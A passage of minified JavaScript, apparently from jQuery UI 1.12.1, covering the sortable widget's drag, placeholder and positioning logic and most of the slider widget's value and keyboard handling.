i,s,n,o,a=this.options,r=!1;for(this.position=this._generatePosition(e),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-e.pageY<a.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+a.scrollSpeed:e.pageY-this.overflowOffset.top<a.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-a.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-e.pageX<a.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+a.scrollSpeed:e.pageX-this.overflowOffset.left<a.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-a.scrollSpeed)):(e.pageY-this.document.scrollTop()<a.scrollSensitivity?r=this.document.scrollTop(this.document.scrollTop()-a.scrollSpeed):this.window.height()-(e.pageY-this.document.scrollTop())<a.scrollSensitivity&&(r=this.document.scrollTop(this.document.scrollTop()+a.scrollSpeed)),e.pageX-this.document.scrollLeft()<a.scrollSensitivity?r=this.document.scrollLeft(this.document.scrollLeft()-a.scrollSpeed):this.window.width()-(e.pageX-this.document.scrollLeft())<a.scrollSensitivity&&(r=this.document.scrollLeft(this.document.scrollLeft()+a.scrollSpeed))),r!==!1&&t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],o=this._intersectsWithPointer(s),o&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===o?"next":"prev"]()[0]!==n&&!t.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!t.contains(this.element[0],n):!0)){if(this.direction=1===o?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(e,s),this._trigger("change",e,this._uiHash());break}return this._contactContainers(e),t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),this._trigger("sort",e,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(e,i){if(e){if(t.ui.ddmanager&&!this.options.dropBehaviour&&t.ui.ddmanager.drop(this,e),this.options.revert){var s=this,n=this.placeholder.offset(),o=this.options.axis,a={};o&&"x"!==o||(a.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),o&&"y"!==o||(a.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,t(this.helper).animate(a,parseInt(this.options.revert,10)||500,function(){s._clear(e)})}else this._clear(e,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp(new t.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var e=this.containers.length-1;e>=0;e--)this.containers[e]._trigger("deactivate",null,this._uiHash(this)),this.containers[e].containerCache.over&&(this.containers[e]._trigger("out",null,this._uiHash(this)),this.containers[e].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),t.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?t(this.domPosition.prev).after(this.currentItem):t(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},t(i).each(function(){var i=(t(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);i&&s.push((e.key||i[1]+"[]")+"="+(e.key&&e.expression?i[1]:i[2]))}),!s.length&&e.key&&s.push(e.key+"="),s.join("&")},toArray:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},i.each(function(){s.push(t(e.item||this).attr(e.attribute||"id")||"")}),s},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,o=t.left,a=o+t.width,r=t.top,l=r+t.height,h=this.offset.click.top,c=this.offset.click.left,u="x"===this.options.axis||s+h>r&&l>s+h,d="y"===this.options.axis||e+c>o&&a>e+c,p=u&&d;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?p:e+this.helperProportions.width/2>o&&a>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&l>n-this.helperProportions.height/2},_intersectsWithPointer:function(t){var e,i,s="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),n="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width),o=s&&n;return o?(e=this._getDragVerticalDirection(),i=this._getDragHorizontalDirection(),this.floating?"right"===i||"down"===e?2:1:e&&("down"===e?2:1)):!1},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?"right"===n&&i||"left"===n&&!i:s&&("down"===s&&e||"up"===s&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!==t&&(t>0?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!==t&&(t>0?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(e){function i(){r.push(this)}var s,n,o,a,r=[],l=[],h=this._connectWith();if(h&&e)for(s=h.length-1;s>=0;s--)for(o=t(h[s],this.document[0]),n=o.length-1;n>=0;n--)a=t.data(o[n],this.widgetFullName),a&&a!==this&&!a.options.disabled&&l.push([t.isFunction(a.options.items)?a.options.items.call(a.element):t(a.options.items,a.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),a]);for(l.push([t.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):t(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=l.length-1;s>=0;s--)l[s][0].each(i);return t(r)},_removeCurrentsFromItems:function(){var e=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=t.grep(this.items,function(t){for(var i=0;e.length>i;i++)if(e[i]===t.item[0])return!1;return!0})},_refreshItems:function(e){this.items=[],this.containers=[this];var i,s,n,o,a,r,l,h,c=this.items,u=[[t.isFunction(this.options.items)?this.options.items.call(this.element[0],e,{item:this.currentItem}):t(this.options.items,this.element),this]],d=this._connectWith();if(d&&this.ready)for(i=d.length-1;i>=0;i--)for(n=t(d[i],this.document[0]),s=n.length-1;s>=0;s--)o=t.data(n[s],this.widgetFullName),o&&o!==this&&!o.options.disabled&&(u.push([t.isFunction(o.options.items)?o.options.items.call(o.element[0],e,{item:this.currentItem}):t(o.options.items,o.element),o]),this.containers.push(o));for(i=u.length-1;i>=0;i--)for(a=u[i][1],r=u[i][0],s=0,h=r.length;h>s;s++)l=t(r[s]),l.data(this.widgetName+"-item",a),c.push({item:l,instance:a,width:0,height:0,left:0,top:0})},refreshPositions:function(e){this.floating=this.items.length?"x"===this.options.axis||this._isFloating(this.items[0].item):!1,this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,o;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?t(this.options.toleranceElement,s.item):s.item,e||(s.width=n.outerWidth(),s.height=n.outerHeight()),o=n.offset(),s.left=o.left,s.top=o.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)o=this.containers[i].element.offset(),this.containers[i].containerCache.left=o.left,this.containers[i].containerCache.top=o.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(e){e=e||this;var i,s=e.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=e.currentItem[0].nodeName.toLowerCase(),n=t("<"+s+">",e.document[0]);return e._addClass(n,"ui-sortable-placeholder",i||e.currentItem[0].className)._removeClass(n,"ui-sortable-helper"),"tbody"===s?e._createTrPlaceholder(e.currentItem.find("tr").eq(0),t("<tr>",e.document[0]).appendTo(n)):"tr"===s?e._createTrPlaceholder(e.currentItem,n):"img"===s&&n.attr("src",e.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(t,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(e.currentItem.innerHeight()-parseInt(e.currentItem.css("paddingTop")||0,10)-parseInt(e.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(e.currentItem.innerWidth()-parseInt(e.currentItem.css("paddingLeft")||0,10)-parseInt(e.currentItem.css("paddingRight")||0,10)))}}),e.placeholder=t(s.placeholder.element.call(e.element,e.currentItem)),e.currentItem.after(e.placeholder),s.placeholder.update(e,e.placeholder)},_createTrPlaceholder:function(e,i){var s=this;e.children().each(function(){t("<td>&#160;</td>",s.document[0]).attr("colspan",t(this).attr("colspan")||1).appendTo(i)})},_contactContainers:function(e){var i,s,n,o,a,r,l,h,c,u,d=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!t.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(d&&t.contains(this.containers[i].element[0],d.element[0]))continue;d=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",e,this._uiHash(this)),this.containers[i].containerCache.over=0);if(d)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,o=null,c=d.floating||this._isFloating(this.currentItem),a=c?"left":"top",r=c?"width":"height",u=c?"pageX":"pageY",s=this.items.length-1;s>=0;s--)t.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(l=this.items[s].item.offset()[a],h=!1,e[u]-l>this.items[s][r]/2&&(h=!0),n>Math.abs(e[u]-l)&&(n=Math.abs(e[u]-l),o=this.items[s],this.direction=h?"up":"down"));if(!o&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;o?this._rearrange(e,o,null,!0):this._rearrange(e,null,this.containers[p].element,!0),this._trigger("change",e,this._uiHash()),this.containers[p]._trigger("change",e,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1
}},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper)?t(i.helper.apply(this.element[0],[e,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||t("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var e=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&t.ui.ie)&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var t=this.currentItem.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===n.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(e=t(n.containment)[0],i=t(n.containment).offset(),s="hidden"!==t(e).css("overflow"),this.containment=[i.left+(parseInt(t(e).css("borderLeftWidth"),10)||0)+(parseInt(t(e).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(t(e).css("borderTopWidth"),10)||0)+(parseInt(t(e).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(e.scrollWidth,e.offsetWidth):e.offsetWidth)-(parseInt(t(e).css("borderLeftWidth"),10)||0)-(parseInt(t(e).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(e.scrollHeight,e.offsetHeight):e.offsetHeight)-(parseInt(t(e).css("borderTopWidth"),10)||0)-(parseInt(t(e).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(e,i){i||(i=this.position);var s="absolute"===e?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():o?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:n.scrollLeft())*s}},_generatePosition:function(e){var i,s,n=this.options,o=e.pageX,a=e.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,l=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(e.pageX-this.offset.click.left<this.containment[0]&&(o=this.containment[0]+this.offset.click.left),e.pageY-this.offset.click.top<this.containment[1]&&(a=this.containment[1]+this.offset.click.top),e.pageX-this.offset.click.left>this.containment[2]&&(o=this.containment[2]+this.offset.click.left),e.pageY-this.offset.click.top>this.containment[3]&&(a=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((a-this.originalPageY)/n.grid[1])*n.grid[1],a=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((o-this.originalPageX)/n.grid[0])*n.grid[0],o=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():l?0:r.scrollTop()),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():l?0:r.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){function i(t,e,i){return function(s){i._trigger(t,s,e._uiHash(e))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!e&&n.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||n.push(function(t){this._trigger("update",t,this._uiHash())}),this!==this.currentContainer&&(e||(n.push(function(t){this._trigger("remove",t,this._uiHash())}),n.push(function(t){return function(e){t._trigger("receive",e,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(t){return function(e){t._trigger("update",e,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)e||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(s=0;n.length>s;s++)n[s].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){t.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(e){var i=e||this;return{helper:i.helper,placeholder:i.placeholder||t([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:e?e.element:null}}}),t.widget("ui.slider",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider ui-slider-"+this.orientation,"ui-widget ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var e,i,s=this.options,n=this.element.find(".ui-slider-handle"),o="<span tabindex='0'></span>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var e=this.options;e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=t("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),("min"===e.range||"max"===e.range)&&this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var i,s,n,o,a,r,l,h,c=this,u=this.options;return u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,this._addClass(o,null,"ui-state-active"),o.trigger("focus"),l=o.offset(),h=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=h?{left:0,top:0}:{left:e.pageX-l.left-o.width()/2,top:e.pageY-l.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_uiHash:function(t,e,i){var s={handle:this.handles[t],handleIndex:t,value:void 0!==e?e:this.value()};return this._hasMultipleValues()&&(s.value=void 0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(t,e){return this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var s,n,o=this.value(),a=this.values();this._hasMultipleValues()&&(n=this.values(e?0:1),o=this.values(e),2===this.options.values.length&&this.options.range===!0&&(i=0===e?Math.min(n,i):Math.max(n,i)),a[e]=i),i!==o&&(s=this._trigger("slide",t,this._uiHash(e,i,a)),s!==!1&&(this._hasMultipleValues()?this.values(e,i):this.value(i)))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void 0):this._value()},values:function(e,i){var s,n,o;if(arguments.length>1)return this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void 0;if(!arguments.length)return this._values();if(!t.isArray(arguments[0]))return this._hasMultipleValues()?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,i),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(i),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=n-1;s>=0;s--)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var t=this.options.value;return t=this._trimAlignValue(t)},_values:function(t){var e,i,s;if(arguments.length)return e=this.options.values[t],e=this._trimAlignValue(e);if(this._hasMultipleValues()){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return this._valueMin();if(t>=this._valueMax())return this._valueMax();var e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return 2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.round((t-e)/i)*i;t=s+e,t>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var t=this._precisionOf(this.options.step);return null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var e,i,s,n,o,a=this.options.range,r=this.options,l=this,h=this._animateOff?!1:r.animate,c={};this._hasMultipleValues()?this.handles.each(function(s){i=100*((l.values(s)-l._valueMin())/(l._valueMax()-l._valueMin())),c["horizontal"===l.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[h?"animate":"css"](c,r.animate),l.options.range===!0&&("horizontal"===l.orientation?(0===s&&l.range.stop(1,1)[h?"animate":"css"]({left:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&l.range.stop(1,1)[h?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[h?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:100-i+"%"},r.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:100-i+"%"},r.animate))},_handleEvents:{keydown:function(e){var i,s,n,o,a=t(e.target).data("ui-slider-handle-index");switch(e.keyCode){case t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(t(e.target),null,"ui-state-active"),i=this._start(e,a),i===!1))return}switch(o=this.options.step,s=n=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case t.ui.keyCode.HOME:n=this._valueMin();break;case t.ui.keyCode.END:n=this._valueMax();break;case t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(e,a,n)},keyup:function(e){var 